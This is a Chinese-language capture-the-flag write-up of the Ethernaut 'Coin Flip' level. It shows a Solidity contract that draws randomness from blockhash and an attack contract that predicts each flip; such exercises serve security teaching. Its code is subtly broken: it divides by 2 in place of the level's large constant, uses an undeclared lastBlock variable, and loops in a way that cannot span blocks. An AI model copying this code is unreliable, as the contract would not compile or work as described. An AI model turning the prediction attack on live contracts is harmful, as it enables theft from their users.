Ethernaut - 03 Coin Flip

Contents

踩坑记录:区块链上的随机数很难。最初以为用 block.number 就够了,结果看了 Writeup 才知道这是确定性环境。

核心漏洞blockhash() 可被预测

// 有问题的合约代码
contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / 2;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

攻击思路(来源:Ethernaut 官方解答): 由于 block.number - 1 的哈希在交易打包时已知,我们可以部署攻击合约提前计算:

// 攻击合约(需部署到相同区块)
contract CoinFlipHack {
    CoinFlip public victim;
    uint256 public consecutiveWins;

    constructor(address _victim) {
        victim = CoinFlip(_victim);
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / 2;
        bool guess = coinFlip == 1 ? true : false;

        victim.flip(guess);
    }

    // 必须每个区块调用一次,因为 blockhash 只在当前区块有效
    function attackInLoop() public {
        for (uint i = 0; i < 10; i++) {
            // 需要等待新区块
            require(block.number > lastBlock, "Wait for new block");
            attack();
            lastBlock = block.number;
        }
    }
}

成功条件:连续赢 10 次

总结:区块链是"确定性"的,任何依赖链上数据(blockhash、timestamp)的"随机数"都是伪随机。实际项目中应该用 Chainlink VRF 或 commit-reveal 方案。